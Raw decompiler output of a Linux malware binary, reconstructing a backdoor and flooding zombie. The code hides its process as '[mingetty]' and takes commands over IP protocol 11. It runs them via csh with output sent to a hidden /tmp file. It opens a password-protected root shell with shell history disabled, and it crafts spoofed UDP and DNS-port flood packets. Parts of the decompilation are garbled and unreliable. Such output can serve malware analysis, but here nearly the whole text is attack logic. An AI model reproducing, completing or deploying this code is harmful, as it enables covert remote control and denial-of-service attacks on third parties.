/* This file was automatically created by * Reverse Engineering Compiler 1.6 (C) Giampiero Caprino (Mar 31 2002) * Input file: 'the-binary' */ /* Procedure: 0x08048080 - 0x08048087 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08048080() { return(L080675A8()); } extern /* addr: 08048088 */ /* Procedure: 0x08048088 - 0x0804808F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08048088() /* Procedure: 0x08048090 - 0x0804810F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ __entry_point__() { /* unknown */ void Vfffffff4; (restore)ecx; ebx = esp; eax = esp; eax = eax + ecx + ecx + ecx + ecx + 4; (save)0; (save)0; (save)0; ebp = esp; (save)eax; (save)ebx; (save)ecx; eax = 136; ebx = 0; asm("int 0x80"); *L0806D228 = Vfffffff4; L0805756C( *L08078B18 & 65535); L08056D44(); L08055F08(0x80675d0); L08048080(); L08048134(); (save)eax; L08055FBC(); for((restore)ebx; 1; asm("int 0x80");) { eax = 1; } goto L08048101; } /* Procedure: 0x08048110 - 0x0804812D * Argument size: 0 * Local size: 0 * Save regs size: 4 */ L08048110() { /* unknown */ void ebx; ebx = 134714040; if(*L080792B8 != 0) { do { eax = *( *ebx)(); ebx = ebx + 4; } while(*ebx != 0); } } /* Procedure: 0x0804812E - 0x08048130 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804812E() { } /* Procedure: 0x08048131 - 0x08048133 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08048131() { } /* Procedure: 0x08048134 - 0x08048ECB * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08048134() { (save)ebp; ebp = esp; esp = esp - 17648; (save)edi; (save)esi; (save)ebx; ebx = *(ebp + 12); *(ebp + -17600) = 1; *(ebp + -17616) = ebp + -2048; *(ebp + -17620) = ebp + -2028; *(ebp + -17624) = ebp + -2026; *(ebp + -17604) = 16; if(L0805720C() != 0) { (save)-1; L08055FBC(); } edx = *ebx; al = 0; edi = edx; asm("cld"); ecx = -1; asm("repne scasb"); (save) !ecx - 1; (save)0; (save)edx; L08057764(); edx = *ebx; *edx = *"[mingetty]"; *(edx + 4) = *"getty]"; *(edx + 8) = *"y]"; *(edx + 10) = *""; (save)1; (save)17; L080569BC(); esp = esp + 20; if(L080571E8() != 0) { (save)0; L08055FBC(); } L0805733C(); (save)1; (save)17; L080569BC(); esp = esp + 8; if(L080571E8() != 0) { (save)0; L08055FBC(); } (save)"/"; L08057134(); (save)0; L08057160(); (save)1; L08057160(); (save)2; L08057160(); *L0807E774 = 0; *L0807E770 = 0; *L0807E778 = 0; (save)0; L08057444(); esp = esp + 20; L080559A0(eax); (save)11; (save)3; (save)2; L08056CF4(); *(ebp + -17608) = eax; (save)1; (save)1; L080569BC(); (save)1; (save)15; L080569BC(); (save)1; (save)17; L080569BC(); esp = esp + 36; L080569BC(17, 1); *(ebp + -17632) = ebp + -4096; for(*(ebp + -17636) = ebp + -4536; 1; L080555B0(10000)) { esi = L08056B44( *(ebp + -17608), ebp + -2048, 2048, 0); if(*( *(ebp + -17616) + 9) == 11 && *( *(ebp + -17620)) == 2 && esi > 200) { L0804A1E8(esi - 22, *(ebp + -17624), *(ebp + -17632)); eax = ( *(ebp + -4095) & 255) - 1; if(eax <= 11) { goto *(eax * 4 + 0x804832c)[L0804835c, L080483f0, L08048590, L0804871c, L080487c8, L08048894, L08048acc, L08048b58, L08048b80, L08048c34, L08048d08, L08048de4, ]goto ( *(eax * 4 + 0x804832c)); al = *L080675E5; *(ebp + -2048) = al; eax = *L0807E77C; *(ebp + -2048) = al; *(ebp + -2047) = 1; *(ebp + -2046) = 7; if(*L0807E774 == 0) { L080483a0: *(ebp + -2045) = 0; } else { *(ebp + -2045) = 1; *(ebp + -2044) = *L0807E778; } (save) *(ebp + -17632); (save)ebp + -2048; (save)400; L0804A194(); L08056058(); ecx = 201; asm("cdq"); (save)ecx / ecx % ecx / ecx + 400; (save) *(ebp + -17632); (save) *(ebp + -17636); L08048ECC(); esp = esp + 24; } } L08048eb8: } goto L080483a0; *L0807E784 = *(ebp + -4094) & 255; *L0807E780 = *(ebp + -2032); *L0807E781 = *(ebp + -2031); *L0807E782 = *(ebp + -2030); *L0807E783 = *(ebp + -2029); L08057444(0); L080559A0( *L0807E783); L08056058(); ecx = 10; asm("cdq"); edi = ecx / ecx % ecx / ecx; ebx = 0; esi = 0; L08048454: if(ebx != edi) { if(*L0807E784 == 2) { al = *(ebp + ebx * 4 + -4093); edx = *(ebp + -17636); *(edx + esi) = al; *(esi + edx + 1) = *(ebp + ebx * 4 + -4092); *(esi + edx + 2) = *(ebp + ebx * 4 + -4091); al = *(ebp + ebx * 4 + -4090); } else { eax = L08056058(); *(ebp + -17648) = eax; if(eax < 0) { *(ebp + -17648) = eax + 255; } *(esi + *(ebp + -17636)) = al; eax = L08056058(); *(ebp + -17648) = eax; if(eax < 0) { *(ebp + -17648) = eax + 255; } *(esi + *(ebp + -17636) + 1) = al; eax = L08056058(); *(ebp + -17648) = eax; if(eax < 0) { *(ebp + -17648) = eax + 255; } *(esi + *(ebp + -17636) + 2) = al; eax = L08056058(); *(ebp + -17648) = eax; if(eax < 0) { *(ebp + -17648) = eax + 255; } edx = *(ebp + -17636); } *(esi + edx + 3) = al; } esi = esi + 4; ebx = ebx + 1; if(ebx <= 9) { goto L08048454; } eax = *L0807E784; if(eax == 0) { edi = 0; } if(eax == 2) { goto L08048eb8; } edi = edi << 2; *(ebp + -17644) = edi; al = *(ebp + -4093); ecx = *(ebp + -17636); *(edi + ecx) = al; al = *(ebp + -4092); edx = *(ebp + -17644); *(edx + ecx + 1) = al; *(edx + ecx + 2) = *(ebp + -4091); *(edx + ecx + 3) = *(ebp + -4090); goto L08048eb8; eax = L080571E8(); *L0807E770 = eax; if(*L0807E770 != 0) { goto L08048eb8; } L0805733C(); (save)1; (save)17; L080569BC(); esp = esp + 8; if(L080571E8() != 0) { (save)10; L080556CC(); (save)9; (save) *L0807E770; L080572B0(); (save)0; L08055FBC(); } ebx = 0; L080485dc: *(ebx + ebp + -4096) = *(ebx + ebp + -4094); ebx = ebx + 1; if(ebx <= 397) { goto L080485dc; } ebx = ebp + -2048; L0804F808(); L080557E8(); eax = L0804F620("/tmp/.hj237349", "rb", ebx, ebx, "/bin/csh -f -c \"%s\" 1> %s 2>&1", *(ebp + -17632), "/tmp/.hj237349"); *(ebp + -17628) = eax; if(*(ebp + -17628) != 0) { edi = 0; *(ebp + -17640) = ebp + -4496; L08048644: L0804F6D4(ebp + -2048, 1, 398, *(ebp + -17628)); *(eax + ebp + -2048) = 0; ebx = 0; L08048670: *(ebx + ebp + -4094) = *(ebx + ebp + -2048); ebx = ebx + 1; if(ebx <= 397) { goto L08048670; } if(edi == 0) { *(ebp + -4095) = 3; edi = 1; } else { *(ebp + -4095) = 4; } (save) *(ebp + -17640); (save) *(ebp + -17632); (save)400; L0804A194(); L08056058(); ecx = 201; asm("cdq"); ebx = ecx / ecx % ecx / ecx; (save)ebx + 400; (save) *(ebp + -17640); (save) *(ebp + -17636); L08048ECC(); (save)400000; L080555B0(); esp = esp + 28; if(esi != 0) { goto L08048644; } L0804F540(); L080573BC("/tmp/.hj237349", *(ebp + -17628)); } (save)0; L08057554(); if(*L0807E774 != 0) { goto L08048eb8; } *L0807E778 = 4; eax = L080571E8(); *L0807E774 = eax; if(*L0807E774 != 0) { goto L08048eb8; } edi = ebp + -17596; esi = ebp + -4096; asm("cld"); ecx = 63; asm("rep movsd"); *edi = *esi; edi = edi + 4; *edi = *(esi + 4); edi = edi + 1; esi = esi + 1; ebx = 0; L08048760: *(ebx + ebp + -17596) = *(ebx + ebp + -17587); ebx = ebx + 1; if(ebx <= 254) { goto L08048760; } L08049174( *(ebp + -4094) & 255, *(ebp + -4093) & 255, *(ebp + -4092) & 255, *(ebp + -4091) & 255, 0, *(ebp + -4090) & 255, *(ebp + -4089) & 255, *(ebp + -4088) & 255, ebp + -17596); (save)0; L08057554(); if(*L0807E774 != 0) { goto L08048eb8; } *L0807E778 = 5; eax = L080571E8(); *L0807E774 = eax; if(*L0807E774 != 0) { goto L08048eb8; } edi = ebp + -17596; esi = ebp + -4096; asm("cld"); ecx = 63; asm("rep movsd"); *edi = *esi; edi = edi + 4; *edi = *(esi + 4); edi = edi + 1; esi = esi + 1; ebx = 0; L0804880c: *(ebx + ebp + -17596) = *(ebx + ebp + -17583); ebx = ebx + 1; if(ebx <= 254) { goto L0804880c; } L080499F4( *(ebp + -4094) & 255, *(ebp + -4093) & 255, *(ebp + -4092) & 255, *(ebp + -4091) & 255, *(ebp + -4090) & 255, *(ebp + -4089) & 255, *(ebp + -4088) & 255, *(ebp + -4087) & 255, *(ebp + -4086) & 255, *(ebp + -4085) & 255, *(ebp + -4084) & 255, ebp + -17596); (save)0; L08057554(); if(*L0807E774 != 0) { goto L08048eb8; } *L0807E778 = 6; (save)1; (save)17; L080569BC(); eax = L080571E8(); *L0807E774 = eax; esp = esp + 8; if(*L0807E774 != 0) { goto L08048eb8; } L0805733C(); L080569BC(17, 1); *(ebp + -4552) = 2; *(ebp + -4550) = 61786; *(ebp + -4548) = 0; *(ebp + -17600) = 1; (save)0; (save)1; (save)2; L08056CF4(); *(ebp + -17608) = eax; (save)1; (save)17; L080569BC(); (save)1; (save)17; L080569BC(); (save)1; (save)1; L080569BC(); esp = esp + 36; L080569BC(); L080569BC(); L08056C9C( *(ebp + -17608), 1, 2, ebp + -17600, 4, 2, 1, 15, 1); L08056A74(); L08056B04( *(ebp + -17608), 3, *(ebp + -17608), ebp + -4552, 16); L08048984: eax = L08056A2C( *(ebp + -17608), ebp + -4568, ebp + -17604); *(ebp + -17612) = eax; if(*(ebp + -17612) != 0) { if(L080571E8() != 0) { goto L08048984; } L08056B44( *(ebp + -17612), ebp + -17340, 19, 0); ebx = 0; L080489d4: al = *(ebx + ebp + -17340); if(al == 10 || al == 13) { *(ebx + ebp + -17340) = 0; } else { *(ebx + ebp + -17340) = al; *(ebx + ebp + -17340) = *(ebx + ebp + -17340) + 1; } ebx = ebx + 1; if(ebx <= 18) { goto L080489d4; } edi = "TfOjG"; ecx = 6; asm("cld"); asm("repe cmpsb"); if(!(esi = ebp + -17340)) { (save)0; (save)4; (save)0x806761d; (save) *(ebp + -17612); L08056BF0(); (save) *(ebp + -17612); L08057160(); (save)1; L08055FBC(); } L0805718C(); L0805718C(); L0805718C(); L0804A2A8("PATH", "/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.", 1, *(ebp + -17612), 2, *(ebp + -17612), 1, *(ebp + -17612), 0); (save)"HISTFILE"; L0804A48C(); (save)1; (save)"linux"; (save)"TERM"; L0804A2A8(); (save)0; (save)"sh"; (save)"/bin/sh"; L080555FC(); (save) *(ebp + -17612); L08057160(); esp = esp + 32; (save)0; L08055FBC(); } (save)0; L08055FBC(); eax = L080571E8(); *L0807E770 = eax; if(*L0807E770 != 0) { goto L08048eb8; } L0805733C(); (save)1; (save)17; L080569BC(); esp = esp + 8; if(L080571E8() != 0) { (save)1200; L080556CC(); (save)9; (save) *L0807E770; L080572B0(); (save)0; L08055FBC(); } ebx = 0; L08048b1c: *(ebx + ebp + -4096) = *(ebx + ebp + -4094); ebx = ebx + 1; if(ebx <= 397) { goto L08048b1c; } (save) *(ebp + -17632); (save)"/bin/csh -f -c \"%s\" "; ebx = ebp + -2048; (save)ebx; L0804F808(); (save)ebx; L080557E8(); (save)0; L08057554(); eax = *L0807E774; if(eax == 0) { goto L08048eb8; } L080572B0(eax, 9); *L0807E774 = 0; goto L08048eb8; if(*L0807E774 != 0) { goto L08048eb8; } *L0807E778 = 9; eax = L080571E8(); *L0807E774 = eax; if(*L0807E774 != 0) { goto L08048eb8; } edi = ebp + -17596; esi = ebp + -4096; asm("cld"); ecx = 63; asm("rep movsd"); *edi = *esi; edi = edi + 4; *edi = *(esi + 4); edi = edi + 1; esi = esi + 1; ebx = 0; L08048bc4: *(ebx + ebp + -17596) = *(ebx + ebp + -17586); ebx = ebx + 1; if(ebx <= 254) { goto L08048bc4; } L08049174( *(ebp + -4094) & 255, *(ebp + -4093) & 255, *(ebp + -4092) & 255, *(ebp + -4091) & 255, *(ebp + -4090) & 255, *(ebp + -4089) & 255, *(ebp + -4088) & 255, *(ebp + -4087) & 255, ebp + -17596); (save)0; L08057554(); if(*L0807E774 != 0) { goto L08048eb8; } *L0807E778 = 10; eax = L080571E8(); *L0807E774 = eax; if(*L0807E774 != 0) { goto L08048eb8; } edi = ebp + -17596; esi = ebp + -4096; asm("cld"); ecx = 63; asm("rep movsd"); *edi = *esi; edi = edi + 4; *edi = *(esi + 4); edi = edi + 1; esi = esi + 1; ebx = 0; L08048c78: *(ebx + ebp + -17596) = *(ebx + ebp + -17582); ebx = ebx + 1; if(ebx <= 254) { goto L08048c78; } L08049D40( *(ebp + -4094) & 255, *(ebp + -4093) & 255, *(ebp + -4092) & 255, *(ebp + -4091) & 255, *(ebp + -4090) & 255, *(ebp + -4089) & 255, *(ebp + -4088) & 255, *(ebp + -4087) & 255, *(ebp + -4086) & 255, *(ebp + -4085) & 255, *(ebp + -4084) & 255, 0, *(ebp + -4083) & 255, ebp + -17596); (save)0; L08057554(); if(*L0807E774 != 0) { goto L08048eb8; } *L0807E778 = 11; eax = L080571E8(); *L0807E774 = eax; if(*L0807E774 != 0) { goto L08048eb8; } edi = ebp + -17596; esi = ebp + -4096; asm("cld"); ecx = 63; asm("rep movsd"); *edi = *esi; edi = edi + 4; *edi = *(esi + 4); edi = edi + 1; esi = esi + 1; ebx = 0; L08048d4c: *(ebx + ebp + -17596) = *(ebx + ebp + -17581); ebx = ebx + 1; if(ebx <= 254) { goto L08048d4c; } L08049D40( *(ebp + -4094) & 255, *(ebp + -4093) & 255, *(ebp + -4092) & 255, *(ebp + -4091) & 255, *(ebp + -4090) & 255, *(ebp + -4089) & 255, *(ebp + -4088) & 255, *(ebp + -4087) & 255, *(ebp + -4086) & 255, *(ebp + -4085) & 255, *(ebp + -4084) & 255, *(ebp + -4083) & 255, *(ebp + -4082) & 255, ebp + -17596); (save)0; L08057554(); if(*L0807E774 != 0) { goto L08048eb8; } *L0807E778 = 12; eax = L080571E8(); *L0807E774 = eax; if(*L0807E774 != 0) { goto L08048eb8; } edi = ebp + -17596; esi = ebp + -4096; asm("cld"); ecx = 63; asm("rep movsd"); *edi = *esi; edi = edi + 4; *edi = *(esi + 4); edi = edi + 1; esi = esi + 1; ebx = 0; L08048e28: *(ebx + ebp + -17596) = *(ebx + ebp + -17582); ebx = ebx + 1; if(ebx <= 254) { goto L08048e28; } L08049564( *(ebp + -4094) & 255, *(ebp + -4093) & 255, *(ebp + -4092) & 255, *(ebp + -4091) & 255, *(ebp + -4090) & 255, *(ebp + -4089) & 255, *(ebp + -4088) & 255, *(ebp + -4087) & 255, *(ebp + -4086) & 255, *(ebp + -4085) & 255, *(ebp + -4084) & 255, *(ebp + -4083) & 255, ebp + -17596); (save)0; L08057554(); goto L08048eb8; } /* Procedure: 0x08048ECC - 0x08048F2E * Argument size: 12 * Local size: 0 * Save regs size: 12 */ L08048ECC(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; /* unknown */ void esi; if(*L0807E784 != 0) { esi = A8 + 36; do { L080555B0(); L08048F94(0x807e780, ebx, Ac, A10, 4000); ebx = ebx + 4; } while(ebx <= esi); } else { L08048F94(0x807e780, A8, Ac, A10); } return(1); } /* Procedure: 0x08048F2F - 0x08048F92 * Argument size: 0 * Local size: 8 * Save regs size: 4 */ L08048F2F(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { /* unknown */ void ebx; /* unknown */ void Vfffffffe; edx = Ac; ebx = A8; ecx = 0; Vfffffffe = 0; do { ecx = ecx + ( *ebx & 65535); ebx = ebx + 2; edx = edx + -2; } while(edx > 1); if(edx == 1) { Vfffffffe = *ebx; ecx = ecx + (Vfffffffe & 65535); } edx = ecx >> 16; ecx = (cx & 65535) + edx; Vfffffffe = !(ecx + (ecx >> 16)); return(Vfffffffe & 65535); } /* Procedure: 0x08048F93 - 0x08048F93 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08048F93() { } /* Procedure: 0x08048F94 - 0x08049135 * Argument size: 16 * Local size: 68 * Save regs size: 12 */ L08048F94(A8, Ac, A10, A14) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void Vffffffbc; /* unknown */ void Vffffffc0; /* unknown */ void Vffffffc4; /* unknown */ void Vffffffc8; /* unknown */ void Vffffffce; /* unknown */ void Vffffffd0; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff2; /* unknown */ void Vfffffff4; ebx = Ac; eax = L08056CF4(2, 3, 255); Vffffffbc = eax; if(Vffffffbc != -1) { esi = L0805BD74(A14 + 23); if(esi != 0) { goto L08048fd8; } } eax = 0; goto L0804912c; L08048fd8: Vffffffc4 = esi; Vffffffc0 = esi + 20; Vffffffc8 = esi + 22; *(esi + 12) = *A8; *(esi + 13) = *(A8 + 1); *(esi + 14) = *(A8 + 2); *(esi + 15) = *(A8 + 3); *(esi + 16) = *ebx; *(esi + 17) = *(ebx + 1); *(esi + 18) = *(ebx + 2); *(esi + 19) = *(ebx + 3); ebx = & Vffffffd0; L0804F808(); Vfffffff4 = L08049138(ebx, ebx, "%d.%d.%d.%d", *ebx & 255, *(ebx + 1) & 255, *(ebx + 2) & 255, *(ebx + 3) & 255); Vfffffff2 = 10; Vfffffff0 = 2; *esi = 69; *(esi + 8) = 250; *(esi + 9) = 11; ax = A14 + 22; asm("xchg al,ah"); *(esi + 2) = ax; *(esi + 1) = 0; L08056058(); asm("xchg al,ah"); *(esi + 4) = ax; *(esi + 6) = 0; *(esi + 10) = 0; edx = 20; ecx = esi; ebx = 0; Vffffffce = 0; do { ebx = ebx + ( *ecx & 65535); ecx = ecx + 2; edx = edx + -2; } while(edx > 1); != ? 0x80490b1 : ; Vffffffce = *ecx; ebx = ebx + (Vffffffce & 65535); edx = ebx >> 16; ebx = (bx & 65535) + edx; ax = !(ebx + (ebx >> 16)); Vffffffce = ax; *(Vffffffc4 + 10) = Vffffffce; *Vffffffc0 = 3; L0805652C(Vffffffc8, A10, A14); if(L08056C3C(Vffffffbc, esi, A14 + 22, 0, & Vfffffff0, 16) == -1) { (save)esi; L0805C290(); eax = 0; } else { L08057160(); L0805C290(esi, Vffffffbc); eax = 1; } L0804912c: esp = ebp - 80; } /* Procedure: 0x08049136 - 0x08049137 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08049136() { } /* Procedure: 0x08049138 - 0x08049171 * Argument size: 4 * Local size: 0 * Save regs size: 0 */ L08049138(A8) /* unknown */ void A8; { ecx = L0804BF80(A8); if(ecx != 0) { edx = *( *(ecx + 16)); L0805652C(0x80792bc, edx, *(ecx + 12)); return(*L080792BC); } esp = ebp; return(0); } /* Procedure: 0x08049172 - 0x08049173 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08049172() { } /* Procedure: 0x08049174 - 0x08049560 * Argument size: 36 * Local size: 1652 * Save regs size: 12 */ L08049174(A8, Ac, A10, A14, A18, A1c, A20, A24, A28) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; /* unknown */ void A18; /* unknown */ void A1c; /* unknown */ void A20; /* unknown */ void A24; /* unknown */ void A28; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffff98c; /* unknown */ void Vfffff990; /* unknown */ void Vfffff994; /* unknown */ void Vfffff998; /* unknown */ void Vfffff99c; /* unknown */ void Vfffff9a0; /* unknown */ void Vfffff9a4; /* unknown */ void Vfffff9a8; /* unknown */ void Vfffff9ac; /* unknown */ void Vfffff9b0; /* unknown */ void Vfffff9b4; /* unknown */ void Vfffff9b8; /* unknown */ void Vfffff9bc; /* unknown */ void Vfffff9c2; /* unknown */ void Vfffff9c4; /* unknown */ void Vfffff9c8; /* unknown */ void Vfffff9d4; /* unknown */ void Vfffff9d5; /* unknown */ void Vfffff9d6; /* unknown */ void Vfffff9d7; /* unknown */ void Vfffff9dc; /* unknown */ void Vfffff9e4; /* unknown */ void Vfffffdd8; /* unknown */ void Vfffffdda; /* unknown */ void Vfffffddc; /* unknown */ void Vfffffde8; /* unknown */ void Vffffffdc; Vfffff9bc = A8; Vfffff9b8 = Ac; Vfffff9b4 = A10; Vfffff9b0 = A14; edi = & Vffffffdc; esi = 0x8067698; asm("cld"); ecx = 9; asm("rep movsd"); Vfffff9ac = 1; edi = & Vfffffde8; esi = 0x80676bc; asm("cld"); ecx = 125; asm("rep movsd"); esi = & Vfffff9c8; Vfffff9a4 = & Vfffff9dc; Vfffff9a0 = & Vfffff9e4; Vfffffdd8 = 2; Vfffffdda = 0; if(A18 != 0) { A18 = A18 - 1; } eax = L08056CF4(2, 3, 255); Vfffff9a8 = eax; if(Vfffff9a8 > 0) { Vfffff99c = 0; Vfffff998 = 0; L08057764(esi, 0, 1024); while(1) { edi = 0; if(A24 != 0 && Vfffff998 <= 0) { edx = L0804BF80(A28); if(edx != 0) { L08049288: L08056480( *( *(edx + 16)), & Vfffff9c4, 4); *(esi + 12) = Vfffff9c4; Vfffff998 = 40000; } else { L080556CC(600); edi = 1; } } if(edi != 0) { continue; } edi = 0; Vfffff990 = 0; do { if(Vfffff9ac != 1) { edx = 0; } else { Vfffff9ac = 0; L08055E38(); ebx = 8000; asm("cdq"); edx = ebx / ebx % ebx / ebx; } if(*(edx * 4 + 0x806d22c) != 0) { Vfffff994 = edx * 4 + 0x806d22c; do { Vfffffddc = *Vfffff994; edx = ebp + Vfffff990 + -536; L0805652C(Vfffff9a0, edx, *(ebp + edi * 4 - 36)); L08055E38(); ebx = 255; asm("cdq"); edx = ebx / ebx % ebx / ebx; *Vfffff9a0 = dl; L08055E38(); ebx = 255; asm("cdq"); edx = ebx / ebx % ebx / ebx; *(Vfffff9a0 + 1) = dl; if(A1c != 0 || A20 != 0) { ax = (A1c << 8) + A20; } else { L08055E38(); ebx = 30000; asm("cdq"); edx = ebx / ebx % ebx / ebx; eax = edx; } asm("xchg al,ah"); *Vfffff9a4 = ax; ebx = Vfffff9a4; *(ebx + 2) = 13568; ax = *(ebp + edi * 4 - 36) + 8; asm("xchg al,ah"); *(ebx + 4) = ax; *(ebx + 6) = 0; if(A24 == 0) { Vfffff9d4 = Vfffff9bc; Vfffff9d5 = Vfffff9b8; Vfffff9d6 = Vfffff9b4; Vfffff9d7 = Vfffff9b0; } *(esi + 16) = *Vfffff994; *esi = 69; L08055E38(); ebx = 130; asm("cdq"); *(esi + 8) = ebx / ebx % ebx / ebx + 120; L08055E38(); ebx = 255; asm("cdq"); *(esi + 4) = ebx / ebx % ebx / ebx; *(esi + 9) = 17; *(esi + 6) = 0; ax = *(ebp + edi * 4 - 36) + 28; asm("xchg al,ah"); *(esi + 2) = ax; *(esi + 10) = 0; edx = 20; Vfffff98c = & Vfffff9c8; ecx = 0; Vfffff9c2 = 0; do { ebx = Vfffff98c; ecx = ecx + ( *ebx & 65535); ebx = ebx + 2; Vfffff98c = ebx; edx = edx + -2; } while(edx > 1); != ? 0x804948b : ; Vfffff9c2 = *ebx; ecx = ecx + (Vfffff9c2 & 65535); edx = ecx >> 16; ecx = (cx & 65535) + edx; ax = !(ecx + (ecx >> 16)); Vfffff9c2 = ax; *(esi + 10) = Vfffff9c2; L08056C3C(Vfffff9a8, & Vfffff9c8, *(ebp + edi * 4 - 36) + 28, 0, & Vfffffdd8, 16); if(A18 != 0) { if(Vfffff99c != A18) { Vfffff99c = Vfffff99c + 1; goto L0804951a; } L080555B0(300); Vfffff99c = 0; } else { (save)300; L080555B0(); } Vfffff998 = Vfffff998 - 1; L0804951a: Vfffff994 = Vfffff994 + 4; } while(*Vfffff994 != 0); } Vfffff990 = Vfffff990 + 50; edi = edi + 1; } while(edi <= 8); } goto L08049288; } *L0807E774 = 0; esp = ebp + -1664; return(0); } /* Procedure: 0x08049561 - 0x08049563 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08049561() { } /* Procedure: 0x08049564 - 0x080499F0 * Argument size: 52 * Local size: 1676 * Save regs size: 12 */ L08049564(A8, Ac, A10, A14, A18, A1c, A20, A24, A28, A2c, A30, A34, A38) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; /* unknown */ void A18; /* unknown */ void A1c; /* unknown */ void A20; /* unknown */ void A24; /* unknown */ void A28; /* unknown */ void A2c; /* unknown */ void A30; /* unknown */ void A34; /* unknown */ void A38; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffff974; /* unknown */ void Vfffff978; /* unknown */ void Vfffff97c; /* unknown */ void Vfffff980; /* unknown */ void Vfffff984; /* unknown */ void Vfffff988; /* unknown */ void Vfffff98c; /* unknown */ void Vfffff990; /* unknown */ void Vfffff994; /* unknown */ void Vfffff998; /* unknown */ void Vfffff99c; /* unknown */ void Vfffff9a0; /* unknown */ void Vfffff9a4; /* unknown */ void Vfffff9a8; /* unknown */ void Vfffff9ac; /* unknown */ void Vfffff9b2; /* unknown */ void Vfffff9b4; /* unknown */ void Vfffff9b8; /* unknown */ void Vfffff9d8; /* unknown */ void Vfffff9e4; /* unknown */ void Vfffff9e5; /* unknown */ void Vfffff9e6; /* unknown */ void Vfffff9e7; /* unknown */ void Vfffff9e8; /* unknown */ void Vfffff9e9; /* unknown */ void Vfffff9ea; /* unknown */ void Vfffff9eb; /* unknown */ void Vfffff9ec; /* unknown */ void Vfffff9f4; /* unknown */ void Vfffffdd8; /* unknown */ void Vfffffdda; /* unknown */ void Vfffffddc; /* unknown */ void Vfffffde8; /* unknown */ void Vffffffdc; Vfffff9ac = A8; Vfffff9a8 = Ac; Vfffff9a4 = A10; Vfffff9a0 = A14; Vfffff99c = A18; Vfffff998 = A1c; Vfffff994 = A20; Vfffff990 = A24; edi = & Vffffffdc; esi = 0x8067698; asm("cld"); ecx = 9; asm("rep movsd"); edi = & Vfffffde8; esi = 0x80676bc; asm("cld"); ecx = 125; asm("rep movsd"); edi = & Vfffff9d8; Vfffff988 = & Vfffff9ec; Vfffff984 = & Vfffff9f4; Vfffffdd8 = 2; Vfffffdda = 0; if(A34 == 0) { L0804F808( & Vfffff9b8, "%d.%d.%d.%d", Vfffff9ac & 255, Vfffff9a8 & 255, Vfffff9a4 & 255, Vfffff9a0 & 255); } if(A28 != 0) { A28 = A28 - 1; } eax = L08056CF4(2, 3, 255); Vfffff98c = eax; if(Vfffff98c > 0) { Vfffff980 = 0; Vfffff97c = 0; L08057764(edi, 0, 1024); while(1) { esi = 0; if(A34 != 0 && Vfffff97c <= 0) { edx = L0804BF80(A38); if(edx != 0) { L080496cc: L08056480( *( *(edx + 16)), & Vfffff9b4, 4); eax = Vfffff9b4; *(edi + 16) = eax; Vfffffddc = *(edi + 16); Vfffff97c = 40000; } else { L080556CC(600); esi = 1; } } if(esi != 0) { continue; } esi = 0; Vfffff978 = ebp; do { if(A34 == 0) { Vfffffddc = L0804CE8C( & Vfffff9b8); } L0805652C(Vfffff984, Vfffff978 + -536, *(ebp + esi * 4 - 36)); L08055E38(); ebx = 255; asm("cdq"); edx = ebx / ebx % ebx / ebx; *Vfffff984 = dl; L08055E38(); ebx = 255; asm("cdq"); edx = ebx / ebx % ebx / ebx; *(Vfffff984 + 1) = dl; if(A2c != 0 || A30 != 0) { ax = (A2c << 8) + A30; } else { L08055E38(); ebx = 30000; asm("cdq"); eax = ebx / ebx % ebx / ebx; } asm("xchg al,ah"); *Vfffff988 = ax; ebx = Vfffff988; *(ebx + 2) = 13568; ax = *(ebp + esi * 4 - 36) + 8; asm("xchg al,ah"); *(ebx + 4) = ax; *(ebx + 6) = 0; if(Vfffff99c != 0 || Vfffff998 != 0 || Vfffff994 != 0 || Vfffff990 != 0) { Vfffff9e4 = Vfffff99c; Vfffff9e5 = Vfffff998; Vfffff9e6 = Vfffff994; Vfffff9e7 = Vfffff990; } else { L08055E38(); dl = al; dl :: 255; asm("setnc al"); Vfffff9e4 = dl + al; L08055E38(); dl = al; dl :: 255; asm("setnc al"); Vfffff9e5 = dl + al; L08055E38(); dl = al; dl :: 255; asm("setnc al"); Vfffff9e6 = dl + al; L08055E38(); dl = al; dl :: 255; asm("setnc al"); Vfffff9e7 = dl + al; } if(A34 == 0) { Vfffff9e8 = Vfffff9ac; Vfffff9e9 = Vfffff9a8; Vfffff9ea = Vfffff9a4; Vfffff9eb = Vfffff9a0; } *edi = 69; L08055E38(); ebx = 130; asm("cdq"); *(edi + 8) = ebx / ebx % ebx / ebx + 120; L08055E38(); ebx = 255; asm("cdq"); *(edi + 4) = ebx / ebx % ebx / ebx; *(edi + 9) = 17; *(edi + 6) = 0; ax = *(ebp + esi * 4 - 36) + 28; asm("xchg al,ah"); *(edi + 2) = ax; *(edi + 10) = 0; edx = 20; Vfffff974 = & Vfffff9d8; ecx = 0; Vfffff9b2 = 0; do { ebx = Vfffff974; ecx = ecx + ( *ebx & 65535); ebx = ebx + 2; Vfffff974 = ebx; edx = edx + -2; } while(edx > 1); != ? 0x8049933 : ; Vfffff9b2 = *ebx; ecx = ecx + (Vfffff9b2 & 65535); edx = ecx >> 16; ecx = (cx & 65535) + edx; ax = !(ecx + (ecx >> 16)); Vfffff9b2 = ax; *(edi + 10) = Vfffff9b2; L08056C3C(Vfffff98c, & Vfffff9d8, *(ebp + esi * 4 - 36) + 28, 0, & Vfffffdd8, 16); if(A28 != 0) { if(Vfffff980 != A28) { Vfffff980 = Vfffff980 + 1; goto L080499c2; } 